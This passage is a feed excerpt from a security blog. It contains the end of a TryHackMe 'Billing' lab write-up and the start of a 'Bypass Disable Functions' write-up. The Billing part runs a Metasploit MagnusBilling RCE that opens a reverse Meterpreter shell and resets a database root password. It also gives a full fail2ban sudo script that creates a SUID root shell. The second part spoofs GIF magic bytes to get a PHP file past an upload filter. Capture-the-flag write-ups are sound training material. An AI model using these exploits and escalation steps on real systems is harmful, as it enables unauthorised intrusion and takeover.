one-dark-pro"><code><span class="line"><span>[…]</span></span><span class="line"><span>index.php               [Status: 302, Size: 1, Words: 1, Lines: 2, Duration: 58ms]</span></span><span class="line"><span>robots.txt              [Status: 200, Size: 37, Words: 3, Lines: 5, Duration: 51ms]</span></span><span class="line"><span>[…]</span></span></code></pre></div></div></figure><figure class="shiki sh"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#61AFEF">ffuf</span><span style="color:#D19A66"> -u</span><span style="color:#98C379"> http://billing.thm/mbilling/FUZZ</span><span style="color:#D19A66"> -w</span><span style="color:#98C379"> /usr/share/seclists/Discovery/Web-Content/raft-medium-files-lowercase.txt</span></span></code></pre></div></div></figure><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>[…]</span></span><span class="line"><span>cron.php                [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 55ms]</span></span><span class="line"><span>index.php               [Status: 200, Size: 663, Words: 46, Lines: 1, Duration: 70ms]</span></span><span class="line"><span>index.html              [Status: 200, Size: 30760, Words: 1501, Lines: 137, Duration: 67ms]</span></span><span class="line"><span>[…]</span></span></code></pre></div></div></figure><figure class="shiki sh"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#61AFEF">ffuf</span><span style="color:#D19A66"> -u</span><span style="color:#98C379"> http://billing.thm/mbilling/FUZZ</span><span style="color:#D19A66"> -w</span><span style="color:#98C379"> /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt</span></span></code></pre></div></div></figure><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>[…]</span></span><span class="line"><span>lib                     [Status: 301, Size: 317, Words: 20, Lines: 10, Duration: 53ms]</span></span><span class="line"><span>assets                  [Status: 301, Size: 320, Words: 20, Lines: 10, Duration: 59ms]</span></span><span class="line"><span>archive                 [Status: 301, Size: 321, Words: 20, Lines: 10, Duration: 47ms]</span></span><span class="line"><span>resources               [Status: 301, Size: 323, Words: 20, Lines: 10, Duration: 154ms]</span></span><span class="line"><span>protected               [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 65ms]</span></span><span class="line"><span>tmp                     [Status: 301, Size: 317, Words: 20, Lines: 10, Duration: 2856ms]</span></span><span class="line"><span>fpdf                    [Status: 301, Size: 318, Words: 20, Lines: 10, Duration: 89ms]</span></span></code></pre></div></div></figure><p>Directory listing is enabled, but there is nothing much to see.</p><h2 id="Asterisk-Call-Manager-discovery">Asterisk Call Manager discovery<a class="header-anchor" href="#Asterisk-Call-Manager-discovery">#</a></h2><p>As we didn't find much, at first glance, on the web server, maybe it's better to target the Asterisk Call Manager for now as it is unusual to see one.</p><p>Searching internet for resources, I found :</p><ul><li><a href="https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-voip/index.html?highlight=5038#rce">HackTricks — Pentesting VoIP — SIPDigestLeak vulnerability — RCE</a></li><li><a href="https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/auxiliary/gather/asterisk_creds.md">Metasploit Framework — Documentation — modules/auxiliary/gather/asterisk_creds</a><ul><li>This module retrieves SIP and IAX2 user extensions and credentials from Asterisk Call Manager service.</li><li>This module has been tested on <em>Asterisk Call Manager version 2.10.0 on Asterisk 13.16.0</em>, which is pretty similar to the version we are facing.</li><li>However, this module requires valid manager credentials.</li></ul></li></ul><p>With <a href="https://github.com/noraj/pass-station">pass-station</a>, I found some generic default credentials for Asterisk products.</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>➜ pass-station search 'Asterisk'</span></span><span class="line"><span>+---------------+----------+----------+</span></span><span class="line"><span>| productvendor | username | password |</span></span><span class="line"><span>+---------------+----------+----------+</span></span><span class="line"><span>| Asterisk      | Admin    | admin    |</span></span><span class="line"><span>+---------------+----------+----------+</span></span></code></pre></div></div></figure><p>It's worth the try.</p><p>Let's try with the default credentials from MSF (<code>admin</code> / <code>amp111</code>) and with the one in pass-station (<code>Admin</code> / <code>admin</code>).</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>➜ msfconsole -x "use auxiliary/gather/asterisk_creds; set rhost billing.thm; run"</span></span><span class="line"><span>[…]</span></span><span class="line"><span>[*] Running module against 10.10.15.152</span></span><span class="line"><span>[*] 10.10.15.152:5038 - Found Asterisk Call Manager version 2.10.6</span></span><span class="line"><span>[-] 10.10.15.152:5038 - Auxiliary aborted due to failure: no-access: Authentication failed</span></span><span class="line"><span>[*] Auxiliary module execution completed</span></span><span class="line"><span></span></span><span class="line"><span>➜ msfconsole -x "use auxiliary/gather/asterisk_creds; set rhost billing.thm; set username Admin; set password admin; run"</span></span><span class="line"><span>[…]</span></span><span class="line"><span>[*] Running module against 10.10.15.152</span></span><span class="line"><span>[-] 10.10.15.152:5038 - The connection was refused by the remote host (10.10.15.152:5038).</span></span><span class="line"><span>[*] Auxiliary module execution completed</span></span></code></pre></div></div></figure><p>But after one tentative, we have new connections refused.After restarting the machine and user the second set of credentials, I got the same behavior. It seems the exploit makes the machine crash.</p><h2 id="MagnusBilling-exploitation">MagnusBilling exploitation<a class="header-anchor" href="#MagnusBilling-exploitation">#</a></h2><p>If we search for <code>mbilling</code>, we find that <em>MagnusBilling is a free billing OpenSource to Asterisk</em>.</p><p>Searching in metasploit directly, we find there is an <a href="https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258.md">exploit for CVE-2023-30258</a>.</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>➜ msfconsole -x 'search name:MagnusBilling'</span></span><span class="line"><span>[…]</span></span><span class="line"><span>Matching Modules</span></span><span class="line"><span>================</span></span><span class="line"><span></span></span><span class="line"><span>   #  Name                                                        Disclosure Date  Rank       Check  Description</span></span><span class="line"><span>   -  ----                                                        ---------------  ----       -----  -----------</span></span><span class="line"><span>   0  exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258  2023-06-26       excellent  Yes    MagnusBilling application unauthenticated Remote Command Execution.</span></span><span class="line"><span>   1    \_ target: PHP                                            .                .          .      .</span></span><span class="line"><span>   2    \_ target: Unix Command                                   .                .          .      .</span></span><span class="line"><span>   3    \_ target: Linux Dropper</span></span></code></pre></div></div></figure><p>Exploitation works!</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>msf6 exploit(linux/http/magnusbilling_unauth_rce_cve_2023_30258) > run</span></span><span class="line"><span>[*] Started reverse TCP handler on 10.21.34.47:4444</span></span><span class="line"><span>[*] Running automatic check ("set AutoCheck false" to disable)</span></span><span class="line"><span>[*] Checking if 10.10.214.103:80 can be exploited.</span></span><span class="line"><span>[*] Performing command injection test issuing a sleep command of 5 seconds.</span></span><span class="line"><span>[*] Elapsed time: 5.21 seconds.</span></span><span class="line"><span>[+] The target is vulnerable. Successfully tested command injection.</span></span><span class="line"><span>[*] Executing PHP for php/meterpreter/reverse_tcp</span></span><span class="line"><span>[*] Sending stage (40004 bytes) to 10.10.214.103</span></span><span class="line"><span>[+] Deleted nDwBQcotUgsKa.php</span></span><span class="line"><span>[*] Meterpreter session 1 opened (10.21.34.47:4444 -> 10.10.214.103:49204) at 2025-04-26 19:24:10 +0200</span></span></code></pre></div></div></figure><p>Shell works, let's upgrade it to a fully interactive TTY.</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>meterpreter > shell</span></span><span class="line"><span>Process 1671 created.</span></span><span class="line"><span>Channel 0 created.</span></span><span class="line"><span>id</span></span><span class="line"><span>uid=1001(asterisk) gid=1001(asterisk) groups=1001(asterisk)</span></span><span class="line"><span>pwd</span></span><span class="line"><span>/var/www/html/mbilling/lib/icepay</span></span><span class="line"><span>python3 -c 'import pty; pty.spawn("/bin/bash")'</span></span><span class="line"><span>asterisk@Billing:/var/www/html/mbilling/lib/icepay$</span></span></code></pre></div></div></figure><h2 id="System-reconnaissance">System reconnaissance<a class="header-anchor" href="#System-reconnaissance">#</a></h2><p>There are no credentials stored in <code>/var/www/html/mbilling/protected/config/</code> but from those files we can learn an INI file is loaded from <code>/etc/asterisk/res_config_mysql.conf</code>.</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>asterisk@Billing:/var/www/html/mbilling$ ls -lh protected/config/</span></span><span class="line"><span>cctotal 16K</span></span><span class="line"><span>-r-xr-xr-x 1 root root 2.7K Sep 12  2024 cron_production.php</span></span><span class="line"><span>-r-xr-xr-x 1 root root 3.3K Sep 12  2024 main.php</span></span><span class="line"><span>-r-xr-xr-x 1 root root 3.3K Sep 12  2024 main_production.php</span></span><span class="line"><span>-r-xr-xr-x 1 root root  759 Sep 12  2024 permissions.php</span></span><span class="line"><span></span></span><span class="line"><span>asterisk@Billing:/var/www/html/mbilling$ cat /etc/asterisk/res_config_mysql.conf</span></span><span class="line"><span>[general]</span></span><span class="line"><span>dbhost = 127.0.0.1</span></span><span class="line"><span>dbname = mbilling</span></span><span class="line"><span>dbuser = edited</span></span><span class="line"><span>dbpass = edited</span></span></code></pre></div></div></figure><h2 id="MariaDB-exploration">MariaDB exploration<a class="header-anchor" href="#MariaDB-exploration">#</a></h2><p>We can't connect from the exposed 3306 port, we'll have to connect locally.</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>asterisk@Billing:/$ mysql -H mbilling -u mbillingUser -p</span></span><span class="line"><span>Enter password:</span></span><span class="line"><span>[…]</span></span><span class="line"><span>Server version: 10.5.23-MariaDB-0+deb11u1 Debian 11</span></span><span class="line"><span>[…]</span></span><span class="line"><span>MariaDB [mbilling]> SHOW TABLES;</span></span><span class="line"><span>&#x3C;TABLE BORDER=1>&#x3C;TR>&#x3C;TH>Tables_in_mbilling&#x3C;/TH>&#x3C;/TR>&#x3C;TR>&#x3C;TD>pkg_alarm&#x3C;/TD>&#x3C;/TR>[…]</span></span><span class="line"><span>MariaDB [mbilling]> pager less -S;</span></span><span class="line"><span>PAGER set to 'less -S'</span></span><span class="line"><span>MariaDB [mbilling]> SHOW TABLES;</span></span><span class="line"><span>WARNING: terminal is not fully functional</span></span><span class="line"><span>-  (press RETURN)</span></span></code></pre></div></div></figure><p>But since the pager is not working properly in our shell, the output is in HTML which is quite hard to read.</p><p><code>SHOW TABLES</code> one rendered in HTML shows there a table named <code>pkg_user</code>.</p><p><code>SELECT * FROM pkg_user;</code> shows there is only one user named <code>root</code> with a SHA1 hash password.A quick hit on CrackStation gave nothing, but fortunately, while I was looking for the hash format in the source code, I found <a href="https://github.com/magnussolution/magnusbilling7/blob/8c923dbbf1fcb26e40bf324a7f6719f3ba7000af/wiki/en/get_started/reset_root_password.rst">this documentation</a> that reminded me I can just change it.</p><figure class="shiki sql"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#C678DD">UPDATE</span><span style="color:#ABB2BF"> pkg_user </span><span style="color:#C678DD">SET</span><span style="color:#C678DD"> password</span><span style="color:#56B6C2"> =</span><span style="color:#ABB2BF"> SHA1(</span><span style="color:#98C379">"magnus"</span><span style="color:#ABB2BF">) </span><span style="color:#C678DD">WHERE</span><span style="color:#ABB2BF"> username </span><span style="color:#56B6C2">=</span><span style="color:#98C379"> "root"</span><span style="color:#ABB2BF">;</span></span></code></pre></div></div></figure><p>So I can connect to the WebUI using <code>root</code> / <code>magnus</code>. But I don't think we'll get anything from it.</p><h2 id="Back-to-system-reconnaissance">Back to system reconnaissance<a class="header-anchor" href="#Back-to-system-reconnaissance">#</a></h2><p>There is a user named <code>magnus</code> that has a shell.</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>asterisk@Billing:/$ grep '/bin/bash' /etc/passwd</span></span><span class="line"><span>root:x:0:0:root:/root:/bin/bash</span></span><span class="line"><span>magnus:x:1000:1000:magnus,,,:/home/magnus:/bin/bash</span></span></code></pre></div></div></figure><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>asterisk@Billing:/home/magnus$ ls -lhA</span></span><span class="line"><span>total 68K</span></span><span class="line"><span>lrwxrwxrwx  1 root   root      9 Mar 27  2024 .bash_history -> /dev/null</span></span><span class="line"><span>-rw-------  1 magnus magnus  220 Mar 27  2024 .bash_logout</span></span><span class="line"><span>-rw-------  1 magnus magnus 3.5K Mar 27  2024 .bashrc</span></span><span class="line"><span>drwx------ 10 magnus magnus 4.0K Sep  9  2024 .cache</span></span><span class="line"><span>drwx------ 11 magnus magnus 4.0K Mar 27  2024 .config</span></span><span class="line"><span>drwx------  3 magnus magnus 4.0K Sep  9  2024 .gnupg</span></span><span class="line"><span>drwx------  3 magnus magnus 4.0K Mar 27  2024 .local</span></span><span class="line"><span>-rwx------  1 magnus magnus  807 Mar 27  2024 .profile</span></span><span class="line"><span>drwx------  2 magnus magnus 4.0K Mar 27  2024 .ssh</span></span><span class="line"><span>drwx------  2 magnus magnus 4.0K Mar 27  2024 Desktop</span></span><span class="line"><span>drwx------  2 magnus magnus 4.0K Mar 27  2024 Documents</span></span><span class="line"><span>drwx------  2 magnus magnus 4.0K Mar 27  2024 Downloads</span></span><span class="line"><span>drwx------  2 magnus magnus 4.0K Mar 27  2024 Music</span></span><span class="line"><span>drwx------  2 magnus magnus 4.0K Mar 27  2024 Pictures</span></span><span class="line"><span>drwx------  2 magnus magnus 4.0K Mar 27  2024 Public</span></span><span class="line"><span>drwx------  2 magnus magnus 4.0K Mar 27  2024 Templates</span></span><span class="line"><span>drwx------  2 magnus magnus 4.0K Mar 27  2024 Videos</span></span><span class="line"><span>-rw-r--r--  1 magnus magnus   38 Mar 27  2024 user.txt</span></span><span class="line"><span></span></span><span class="line"><span>asterisk@Billing:/home/magnus$ cat user.txt</span></span><span class="line"><span>THM{edited}</span></span></code></pre></div></div></figure><h2 id="Elevation-of-Privileges-EoP">Elevation of Privileges (EoP)<a class="header-anchor" href="#Elevation-of-Privileges-EoP">#</a></h2><p>It seems asterisk user can run fail2ban-client as root.</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>asterisk@Billing:/$ sudo -l</span></span><span class="line"><span>Matching Defaults entries for asterisk on Billing:</span></span><span class="line"><span>    env_reset, mail_badpass,</span></span><span class="line"><span>    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin</span></span><span class="line"><span></span></span><span class="line"><span>Runas and Command-specific defaults for asterisk:</span></span><span class="line"><span>    Defaults!/usr/bin/fail2ban-client !requiretty</span></span><span class="line"><span></span></span><span class="line"><span>User asterisk may run the following commands on Billing:</span></span><span class="line"><span>    (ALL) NOPASSWD: /usr/bin/fail2ban-client</span></span></code></pre></div></div></figure><p><a href="https://juggernaut-sec.com/fail2ban-lpe/#Putting_the_Pieces_Together_and_Getting_a_Root_Shell">This article</a> explains how to EoP by tempering the F2B configuration so that it loads attacker controlled code. We'll create a SUID shell that way.</p><figure class="shiki bash"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#E06C75">TD_conf</span><span style="color:#56B6C2">=</span><span style="color:#ABB2BF">$(</span><span style="color:#61AFEF">mktemp</span><span style="color:#D19A66"> -d</span><span style="color:#ABB2BF">)</span></span><span class="line"><span style="color:#61AFEF">rsync</span><span style="color:#D19A66"> -av</span><span style="color:#98C379"> /etc/fail2ban/</span><span style="color:#E06C75"> $TD_conf</span></span><span class="line"></span><span class="line"><span style="color:#E06C75">TD_exploit</span><span style="color:#56B6C2">=</span><span style="color:#ABB2BF">$(</span><span style="color:#61AFEF">mktemp</span><span style="color:#D19A66"> -d</span><span style="color:#ABB2BF">)</span></span><span class="line"><span style="color:#61AFEF">cat</span><span style="color:#ABB2BF"> > </span><span style="color:#E06C75">$TD_exploit</span><span style="color:#98C379">/exploit</span><span style="color:#ABB2BF"> &#x3C;&#x3C;</span><span style="color:#ABB2BF">EOF</span></span><span class="line"><span style="color:#98C379">#!/bin/sh</span></span><span class="line"><span style="color:#98C379">cp /bin/bash </span><span style="color:#E06C75">$TD_exploit</span><span style="color:#98C379">/bash</span></span><span class="line"><span style="color:#98C379">chmod 755 </span><span style="color:#E06C75">$TD_exploit</span><span style="color:#98C379">/bash</span></span><span class="line"><span style="color:#98C379">chmod u+s </span><span style="color:#E06C75">$TD_exploit</span><span style="color:#98C379">/bash</span></span><span class="line"><span style="color:#ABB2BF">EOF</span></span><span class="line"><span style="color:#61AFEF">chmod</span><span style="color:#98C379"> +x</span><span style="color:#E06C75"> $TD_exploit</span><span style="color:#98C379">/exploit</span></span><span class="line"></span><span class="line"><span style="color:#61AFEF">cat</span><span style="color:#ABB2BF"> > </span><span style="color:#E06C75">$TD_conf</span><span style="color:#98C379">/action.d/custom-start-command.conf</span><span style="color:#ABB2BF"> &#x3C;&#x3C;</span><span style="color:#ABB2BF">EOF</span></span><span class="line"><span style="color:#98C379">[Definition]</span></span><span class="line"><span style="color:#98C379">actionstart = </span><span style="color:#E06C75">$TD_exploit</span><span style="color:#98C379">/exploit</span></span><span class="line"><span style="color:#ABB2BF">EOF</span></span><span class="line"></span><span class="line"><span style="color:#61AFEF">cat</span><span style="color:#ABB2BF"> >> </span><span style="color:#E06C75">$TD_conf</span><span style="color:#98C379">/jail.local</span><span style="color:#ABB2BF"> &#x3C;&#x3C;</span><span style="color:#ABB2BF">EOF</span></span><span class="line"><span style="color:#98C379">[my-custom-jail]</span></span><span class="line"><span style="color:#98C379">enabled = true</span></span><span class="line"><span style="color:#98C379">action = custom-start-command</span></span><span class="line"><span style="color:#ABB2BF">EOF</span></span><span class="line"></span><span class="line"><span style="color:#61AFEF">cat</span><span style="color:#ABB2BF"> > </span><span style="color:#E06C75">$TD_conf</span><span style="color:#98C379">/filter.d/my-custom-jail.conf</span><span style="color:#ABB2BF"> &#x3C;&#x3C;</span><span style="color:#ABB2BF">EOF</span></span><span class="line"><span style="color:#98C379">[Definition]</span></span><span class="line"><span style="color:#ABB2BF">EOF</span></span><span class="line"></span><span class="line"><span style="color:#61AFEF">sudo</span><span style="color:#98C379"> /usr/bin/fail2ban-client</span><span style="color:#D19A66"> -c</span><span style="color:#E06C75"> $TD_conf</span><span style="color:#D19A66"> -v</span><span style="color:#98C379"> restart</span></span><span class="line"></span><span class="line"><span style="color:#E06C75">$TD_exploit</span><span style="color:#ABB2BF">/bash -p</span></span></code></pre></div></div></figure><p>By the way <a href="https://github.com/GTFOBins/GTFOBins.github.io/pull/498/files">I PRed</a> to add this technique to GTFOBins.</p><p>We get a root shell:</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>bash-5.1# id</span></span><span class="line"><span>uid=1001(asterisk) gid=1001(asterisk) euid=0(root) groups=1001(asterisk)</span></span><span class="line"><span></span></span><span class="line"><span>bash-5.1# cat /root/root.txt</span></span><span class="line"><span>THM{edited}</span></span></code></pre></div></div></figure><link rel="stylesheet" href="/css/folder.css" type="text/css"><script src="/js/folder.js" type="text/javascript" async></script>]]>
      </content:encoded>
    </item>
    <item>
      <title>Bypass Disable Functions - Write-up - TryHackMe</title>
      <link>https://blog.raw.pm/en/TryHackMe-Bypass-Disable-Functions-write-up/</link>
      <description>
        <![CDATA[<h1>Information</h1>
<h2 id="Room">Room<a class="header-anchor" href="#Room">#</a></h2>
<ul>
<li><strong>Name:</strong> Bypass Disable Funct]]>
      </description>
      <author>Alexandre ZANNI</author>
      <category domain="https://blog.raw.pm/categories/writeups/">writeups</category>
      <category domain="https://blog.raw.pm/tags/security/">security</category>
      <category domain="https://blog.raw.pm/tags/web/">web</category>
      <category domain="https://blog.raw.pm/tags/php/">php</category>
      <category domain="https://blog.raw.pm/tags/writeups/">writeups</category>
      <category domain="https://blog.raw.pm/tags/thm/">thm</category>
      <category domain="https://blog.raw.pm/tags/upload/">upload</category>
      <pubDate>Sun, 30 Mar 2025 17:56:00 GMT</pubDate>
      <content:encoded>
        <![CDATA[<h1>Information</h1><h2 id="Room">Room<a class="header-anchor" href="#Room">#</a></h2><ul><li><strong>Name:</strong> Bypass Disable Functions</li><li><strong>Profile:</strong> <a href="https://tryhackme.com/room/bypassdisablefunctions">tryhackme.com</a></li><li><strong>Difficulty:</strong> Info</li><li><strong>Description</strong>: Practice bypassing disabled dangerous features that run operating system commands or start processes.</li></ul><p><img src="/images/TryHackMe/bypassdisablefunctions.png" alt="Bypass Disable Functions"></p><h1>Write-up</h1><h2 id="Overview">Overview<a class="header-anchor" href="#Overview">#</a></h2><p>Install tools used in this WU on <a href="https://blackarch.org">BlackArch Linux</a>:</p><figure class="shiki sh"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#61AFEF">sudo</span><span style="color:#98C379"> pacman</span><span style="color:#D19A66"> -S</span><span style="color:#98C379"> nmap</span><span style="color:#98C379"> ffuf</span><span style="color:#98C379"> chankro</span></span></code></pre></div></div></figure><div style="width: [width];margin: 0 auto">    <canvas id="chart3775" style="height: [height]px"></canvas></div><script src="https://cdn.jsdelivr.net/npm/chart.js@2.9.3/dist/Chart.min.js"></script><script type="text/javascript">    var ctx = document.getElementById('chart3775').getContext('2d');    var options = {  type: 'polarArea',  responsive: false,  data: {    labels: ['Enumeration', 'Real-Life', 'Well-Known Vulnerabilities', 'Custom Exploitation', 'CTF-Like', 'Scripting'],    datasets: [{      label: 'Box rating',      backgroundColor: [        'rgba(54, 163, 235, 0.5)',        'rgba(255, 99, 132, 0.5)',        'rgba(75, 192, 192, 0.5)',        'rgba(255, 205, 86, 0.5)',        'rgba(68, 205, 58, 0.5)',        'rgba(244, 81, 30, 0.5)'      ],      borderColor: [        'rgba(54, 163, 235, 1)',        'rgba(255, 99, 132, 1)',        'rgba(75, 192, 192, 1)',        'rgba(255, 205, 86, 1)',        'rgba(68, 205, 58, 1)',        'rgba(244, 81, 30, 1)'      ],      data: [        2,        3,        2,        4,        3,        1      ]    }]  },  options: {    legend: {      position: 'right',      labels: {        fontSize: 25      }    },    scale: {      ticks: {        beginAtZero: true,        stepSize: 1,        suggestedMax: 5      }    }  }};;    new Chart(ctx, options);</script><h2 id="Network-enumeration">Network enumeration<a class="header-anchor" href="#Network-enumeration">#</a></h2><p>Let's add a custom hostname to the machine.</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>➜ grep bypassdisablefunctions /etc/hosts</span></span><span class="line"><span>10.10.154.25 bypassdisablefunctions.thm</span></span></code></pre></div></div></figure><p>Port and service enumeration with <code>nmap</code>.</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span># Nmap 7.95 scan initiated Sun Mar 30 19:01:25 2025 as: nmap -sSVC -T4 -p- -v --open --reason -oA nmap bypassdisablefunctions.thm</span></span><span class="line"><span>Nmap scan report for bypassdisablefunctions.thm (10.10.154.25)</span></span><span class="line"><span>Host is up, received echo-reply ttl 63 (0.065s latency).</span></span><span class="line"><span>Not shown: 65336 closed tcp ports (reset), 197 filtered tcp ports (no-response)</span></span><span class="line"><span>Some closed ports may be reported as filtered due to --defeat-rst-ratelimit</span></span><span class="line"><span>PORT   STATE SERVICE REASON         VERSION</span></span><span class="line"><span>22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)</span></span><span class="line"><span>| ssh-hostkey:</span></span><span class="line"><span>|   2048 1f:97:54:30:24:74:f2:fa:15:ed:f3:35:84:dc:6c:d0 (RSA)</span></span><span class="line"><span>|   256 a7:21:78:6d:a6:05:7e:5a:0f:7e:53:65:0a:c4:53:49 (ECDSA)</span></span><span class="line"><span>|_  256 57:1c:22:ac:59:69:62:cb:94:bd:e9:9f:67:68:23:c9 (ED25519)</span></span><span class="line"><span>80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))</span></span><span class="line"><span>|_http-server-header: Apache/2.4.18 (Ubuntu)</span></span><span class="line"><span>|_http-title: Ecorp - Jobs</span></span><span class="line"><span>| http-methods:</span></span><span class="line"><span>|_  Supported Methods: POST OPTIONS GET HEAD</span></span><span class="line"><span>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</span></span><span class="line"><span></span></span><span class="line"><span>Read data files from: /usr/bin/../share/nmap</span></span><span class="line"><span>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .</span></span><span class="line"><span># Nmap done at Sun Mar 30 19:02:08 2025 -- 1 IP address (1 host up) scanned in 42.53 seconds</span></span></code></pre></div></div></figure><p>Nothing to see outside the web server.</p><h2 id="Web-discovery-enumeration">Web discovery &amp; enumeration<a class="header-anchor" href="#Web-discovery-enumeration">#</a></h2><p>On the homepage there is nothing but a link to <a href="http://bypassdisablefunctions.thm/cv.php">http://bypassdisablefunctions.thm/cv.php</a>.</p><p>Let's use <code>ffuf</code> to fuzz a bit around and identify potential files and folders.</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>➜ ffuf -u http://bypassdisablefunctions.thm/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt</span></span><span class="line"><span>[…]</span></span><span class="line"><span>uploads                 [Status: 301, Size: 342, Words: 20, Lines: 10, Duration: 54ms]</span></span><span class="line"><span>assets                  [Status: 301, Size: 341, Words: 20, Lines: 10, Duration: 67ms]</span></span><span class="line"><span>server-status           [Status: 403, Size: 291, Words: 20, Lines: 10, Duration: 60ms]</span></span><span class="line"><span></span></span><span class="line"><span>➜ ffuf -u http://bypassdisablefunctions.thm/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files-lowercase.txt</span></span><span class="line"><span>[…]</span></span><span class="line"><span>index.html              [Status: 200, Size: 12012, Words: 3434, Lines: 244, Duration: 64ms]</span></span><span class="line"><span>.htaccess               [Status: 403, Size: 291, Words: 20, Lines: 10, Duration: 60ms]</span></span><span class="line"><span>phpinfo.php             [Status: 200, Size: 68311, Words: 3202, Lines: 747, Duration: 87ms]</span></span><span class="line"><span>[…]</span></span><span class="line"><span>cv.php                  [Status: 200, Size: 4153, Words: 1078, Lines: 98, Duration: 81ms]</span></span></code></pre></div></div></figure><p>There are a <code>/uploads/</code> folder as well as a <code>phpinfo.php</code> file.</p><p>On <a href="http://bypassdisablefunctions.thm/phpinfo.php">http://bypassdisablefunctions.thm/phpinfo.php</a>, we can check the directives that are important for security.</p><ul><li><code>disable_functions</code>: <code>exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,</code></li><li><code>open_basedir</code>: empty</li><li><code>$_SERVER['DOCUMENT_ROOT']</code>: <code>/var/www/html/fa5fba5f5a39d27d8bb7fe5f518e00db</code></li></ul><p>On the CV page it says <em>Upload a real image</em>, if we do so we can find it back at <a href="http://bypassdisablefunctions.thm/uploads/">http://bypassdisablefunctions.thm/uploads/</a> where there is a directory listing.However, if we upload a PHP file, it is rejected (no error, but the file is not available on <code>/uploads/</code>). The server doesn't care about the extension <code>.php</code> or the Content-Type <code>application/x-php</code> so it must be checking the file type directly with file or magic header library.So what I'll do is creating a file <code>gif.txt</code> containing the GIF magic bytes plus a semicolon and a new line:</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span>GIF89a;</span></span></code></pre></div></div></figure><p>And I'll create a simple test file <code>noraj.php</code> using none of the blocked function:</p><figure class="shiki php"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#56B6C2">&#x3C;</span><span style="color:#C678DD">?</span><span style="color:#ABB2BF">php </span><span style="color:#56B6C2">echo</span><span style="color:#98C379"> 'noraj'</span><span style="color:#ABB2BF">; </span><span style="color:#C678DD">?</span><span style="color:#56B6C2">></span></span></code></pre></div></div></figure><p>Then I'll concatenate both so that my PHP script spoofs a GIF signature header.</p><figure class="shiki sh"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span style="color:#61AFEF">cat</span><span style="color:#98C379"> gif.txt</span><span style="color:#98C379"> noraj.php</span><span style="color:#ABB2BF"> > </span><span style="color:#98C379">noraj_obfu.php</span></span></code></pre></div></div></figure><p>When uploading the spoofed test file, this time we get a different response:</p><figure class="shiki"><div class='codeblock'><div class="code"><pre class="shiki one-dark-pro"><code><span class="line"><span> OK</span></span><span class="line"><span>></span></span></code></pre></div></div></figure><p>And at <a href="http://bypassdisablefunctions.thm/uploads/noraj_obfu.php">http://bypassdisablefunctions.thm/uploads/noraj_obfu.php</a> we have <code>GIF89a; noraj</code> displayed. The test went well, now we can go with the real payload.</p><h2 id="PHP-disable-function-bypass">PHP <code>disable_function</code> bypass<a class="header-anchor" href="#PHP-disable-function-bypass">#</a></h2><p>The issue is that a lot of functions that allow easy command execution are banned. So to bypass that we'll use <a href="https://github.com/TarlogicSecurity/Chankro"><code>chankro</code></a>.</p><blockquote><p>Tool to bypass <code>disable_functions</code> and 